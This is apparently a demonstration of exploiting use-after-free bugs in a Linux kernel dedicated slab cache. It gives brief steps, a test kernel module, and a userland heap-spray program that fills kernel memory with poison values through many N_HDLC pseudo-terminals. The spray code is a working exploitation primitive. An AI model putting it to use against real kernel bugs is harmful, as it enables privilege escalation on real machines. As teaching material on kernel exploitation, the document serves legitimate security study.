Demo for exploiting use-after-free in dedicated cache

Exploit use-after-free bugs in dedicated cache

This is just a demonstration.

demo

HOWTO

  • free the target object
  • spray and eat all available memory, take high memory usage, hope to have the freed object poisoned
  • trigger the use-after-free

NOTICE

For each cache, the Slab allocator keeps three doubly-linked lists of slabs:

  • full slabs: all objects of a slab are used (i.e. allocated)
  • free slabs: all objects of a slab are free (i.e. the slab is empty)
  • partial slabs: some objects of the slab are used and other are free

We may need to make the target object in free slabs

Refs

  • https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html

Files

  • kernmod.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/types.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/debugfs.h>
#include <linux/kallsyms.h>
#include <linux/delay.h>
#include <asm/insn.h>

#define TARGET_SLABSZ	1920
#define	OBJ_MAX		0x200
#define POISON_VALUE	0x4141414141414141
char *ptrs[OBJ_MAX];
struct kmem_cache *s;

static int __init test_init(void)
{
	long i;

	s = kmem_cache_create("test_memory_poison", TARGET_SLABSZ, 0,
				SLAB_HWCACHE_ALIGN, NULL);
	if (!s)
		return -1;
	for (i = 0; i < OBJ_MAX; i++) {
		ptrs[i] = kmem_cache_alloc(s, GFP_KERNEL);
		if (!ptrs[i])
			break;
		memset(ptrs[i], 'a', TARGET_SLABSZ);
	}

	for (i = 1; i < OBJ_MAX; i++)
		if (ptrs[i])
			kmem_cache_free(s, ptrs[i]);

	pr_info("ptrs[0]: %p\n", ptrs[0]);
	while (1) {
		int found = 0;
		for (i = 1; i < OBJ_MAX; i++) {
			unsigned long val;
			if (!ptrs[i])
				continue;
			val = *(unsigned long *)(ptrs[i] + 0x10);
			if (val == POISON_VALUE) {
				found = 1;
				break;
			}
		}

		if (found) {
			for (i = 1; i < OBJ_MAX; i++) {
				if (!ptrs[i])
					continue;
				if (*(unsigned long *)(ptrs[i] + 0x10) ==
						POISON_VALUE)
					pr_info("ptrs[%ld]: %p poisoned\n",
							i, ptrs[i]);
			}
			break;
		}

		msleep(1000);
	}

	kmem_cache_free(s, ptrs[0]);
	return 0;
}

static void __exit test_exit(void)
{
	kmem_cache_destroy(s);
	return;
}

module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");
  • kern_mem_poison.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/ioctl.h>
#include <termios.h>
#include <ctype.h>

static unsigned long mem_avail = 0;
static int get_memory_avail(void)
{
	int fd = open("/proc/meminfo", O_RDONLY);
	if (fd == -1) {
		return -1;
	}

	char buf[4096];
	memset(buf, 0, 4096);
	int err = read(fd, buf, 4096);
	if (err == -1) {
		close(fd);
		return -1;
	}

	char *string = "MemAvailable:";
	char *p = strstr(buf, string);
	if (!p) {
		close(fd);
		return -1;
	}

	p += strlen(string);
	while (isspace(*p))
		p++;

	mem_avail = 1024 * atoll(p);
	return 0;
}

static int open_n_hdlc(void)
{
	int fd = open("/dev/ptmx", O_RDWR | O_NONBLOCK);
	if (fd == -1) {
		return -1;
	}

	int cmd = TIOCSETD;
	int arg = N_HDLC;
	int err = ioctl(fd, cmd, &arg);
	if (err == -1) {
		close(fd);
		return -1;
	}

	err = ioctl(fd, TCXONC, TCOOFF);
	if (err == -1) {
		close(fd);
		return -1;
	}

	return fd;
}

static int max_open_files(struct rlimit *rlim)
{
	int err;
	memset(rlim, 0, sizeof(*rlim));
	err = getrlimit(RLIMIT_NOFILE, rlim);
	if (err == -1) {
		return -1;
	}
	rlim->rlim_cur = rlim->rlim_max & (~0xff);
	err = setrlimit(RLIMIT_NOFILE, rlim);
	if (err == -1) {
		return -1;
	}
	return 0;
}

static int kern_mem_poison(char *buf, size_t len)
{
	int err;

	if ((len < 4096) || (len > 65536)) {
		return -1;
	}

	struct rlimit rlim;
	err = max_open_files(&rlim);
	if (err == -1) {
		return -1;
	}

	int fd[rlim.rlim_cur];
	long i;
	for (i = 0; i < rlim.rlim_cur; i++) {
		if (!get_memory_avail())
			if (mem_avail < (len*2))
				break;
		fd[i] = open_n_hdlc();
		if (fd[i] == -1) {
			break;
		}

		err = write(fd[i], buf, len);
		if (err == -1) {
			break;
		}
	}

	if (i < rlim.rlim_cur)
		for (long j = i; j < rlim.rlim_cur; j++)
			fd[j] = -1;

	for (i = 0; i < rlim.rlim_cur; i++) {
		close(fd[i]);
		fd[i] = -1;
	}

	return 0;
}

#define	POISON_VALUE 0x4141414141414141
int main(int argc, char *argv[])
{
	char buf[4096];
	unsigned long *addr = buf;
	for (int i = 0; i < 4096 / 8; i++) {
		addr[i] = POISON_VALUE;
	}
	kern_mem_poison(buf, 4096);
	return 0;
}